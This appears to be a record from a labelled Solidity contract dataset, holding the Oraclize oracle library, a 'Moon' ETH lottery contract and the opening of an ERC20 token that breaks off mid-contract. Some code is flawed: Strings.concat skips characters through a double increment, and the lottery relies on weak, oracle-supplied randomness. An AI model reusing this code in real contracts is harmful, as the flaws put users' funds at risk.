dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal pure returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(delay_bytes8_left, args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
library Strings {
function concat(string _base, string _value) internal pure returns (string) {
bytes memory _baseBytes = bytes(_base);
bytes memory _valueBytes = bytes(_value);
string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
bytes memory _newValue = bytes(_tmpValue);
uint i;
uint j;
for(i=0; i<_baseBytes.length; i++) {
_newValue[j++] = _baseBytes[i];
}
for(i=0; i<_valueBytes.length; i++) {
_newValue[j++] = _valueBytes[i++];
}
return string(_newValue);
}
}
contract Moon is usingOraclize{
using Strings for string;
struct Ticket {
uint amount;
}
uint gameNumber;
uint allGameAmount;
mapping(address => uint) earnings;
mapping (address => uint) tickets;
mapping (address => uint) ticketsForGame;
uint numElements;
address[] gameAddresses;
uint numSums;
uint[] gameSums;
address beneficiaryOne;
address beneficiaryTwo;
address winner;
uint gameBegin;
uint gameEnd;
uint totalAmount;
uint numberOfPlayers;
uint randomNumber;
string concatFirst;
string concatSecond;
string concatRequest;
function Moon() public {
beneficiaryOne = 0x009a71cf732A6449a202A323AadE7a2BcFaAe3A8;
beneficiaryTwo = 0x004e864e109fE8F3394CcDB74F64c160ac4C5ce4;
gameBegin = now;
gameEnd = now + 1 days;
totalAmount = 0;
gameNumber = 1;
allGameAmount = 0;
numElements = 0;
numberOfPlayers = 0;
concatFirst = "random number between 0 and ";
concatSecond = "";
concatRequest = "";
}
function buyTicket() public payable {
require((now <= gameEnd) || (totalAmount == 0));
require(msg.value > 1000000000000000);
require(ticketsForGame[msg.sender] < gameNumber);
require(msg.value + totalAmount < 2000000000000000000000);
require(randomNumber == 0);
ticketsForGame[msg.sender] = gameNumber;
tickets[msg.sender] = 0;
insertAddress(msg.sender);
insertSums(totalAmount);
tickets[msg.sender] = msg.value;
totalAmount += msg.value;
numberOfPlayers += 1;
}
function withdraw() public returns (uint) {
uint withdrawStatus = 0;
uint amount = earnings[msg.sender];
if (amount > 0) {
withdrawStatus = 1;
earnings[msg.sender] = 0;
if (!msg.sender.send(amount)) {
earnings[msg.sender] = amount;
withdrawStatus = 2;
return withdrawStatus;
}
}
return withdrawStatus;
}
function __callback(bytes32 myid, string result) public {
require(msg.sender == oraclize_cbAddress());
require(randomNumber == 0);
randomNumber = parseInt(result) * 10000000000000;
return;
myid;
}
function chooseRandomNumber() payable public {
require(randomNumber == 0);
require((now > gameEnd) && (totalAmount > 0));
concatSecond = uint2str(totalAmount / 10000000000000);
concatRequest = strConcat(concatFirst, concatSecond);
oraclize_query("WolframAlpha", concatRequest);
}
function endGame() public {
require(now > gameEnd);
require(numElements > 0);
require(randomNumber > 0);
uint cursor = 0;
uint inf = 0;
uint sup = numElements - 1;
uint test = 0;
if(numElements > 1){
if(randomNumber > gameSums[sup]){
winner = gameAddresses[sup];
} else{
while( (sup > inf + 1) && ( (randomNumber <= gameSums[cursor]) || ((cursor+1<numElements) && (randomNumber > gameSums[cursor+1])) ) ){
test = inf + (sup - inf) / 2;
if(randomNumber > gameSums[test]){
inf = test;
} else{
sup = test;
}
cursor = inf;
}
winner = gameAddresses[cursor];
}
}
else{
winner = gameAddresses[0];
}
uint amountOne = uint ( (4 * totalAmount) / 100 );
uint amountTwo = uint ( (1 * totalAmount) / 100 );
uint amountThree = totalAmount - amountOne - amountTwo;
earnings[beneficiaryOne] += amountOne;
earnings[beneficiaryTwo] += amountTwo;
earnings[winner] += amountThree;
gameNumber += 1;
allGameAmount += totalAmount;
gameBegin = now;
gameEnd = now + 1 days;
totalAmount = 0;
randomNumber = 0;
numberOfPlayers = 0;
clearAddresses();
clearSums();
}
function myEarnings() public view returns (uint){
return earnings[msg.sender];
}
function getWinnerAddress() public view returns (address){
return winner;
}
function getGameBegin() public view returns (uint) {
return gameBegin;
}
function getGameEnd() public view returns (uint) {
return gameEnd;
}
function getTotalAmount() public view returns (uint){
return totalAmount;
}
function getGameAddresses(uint index) public view returns(address){
return gameAddresses[index];
}
function getGameSums(uint index) public view returns(uint){
return gameSums[index];
}
function getGameNumber() public view returns (uint) {
return gameNumber;
}
function getNumberOfPlayers() public view returns (uint) {
return numberOfPlayers;
}
function getAllGameAmount() public view returns (uint) {
return allGameAmount;
}
function getRandomNumber() public view returns (uint){
return randomNumber;
}
function getMyStake() public view returns (uint){
return tickets[msg.sender];
}
function getNumSums() public view returns (uint){
return numSums;
}
function getNumElements() public view returns (uint){
return numElements;
}
function insertAddress(address value) private {
if(numElements == gameAddresses.length) {
gameAddresses.length += 1;
}
gameAddresses[numElements++] = value;
}
function clearAddresses() private{
numElements = 0;
}
function insertSums(uint value) private{
if(numSums == gameSums.length) {
gameSums.length += 1;
}
gameSums[numSums++] = value;
}
function clearSums() private{
numSums = 0;
}
} | 0 | 1,085 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract LockToken is StandardToken {
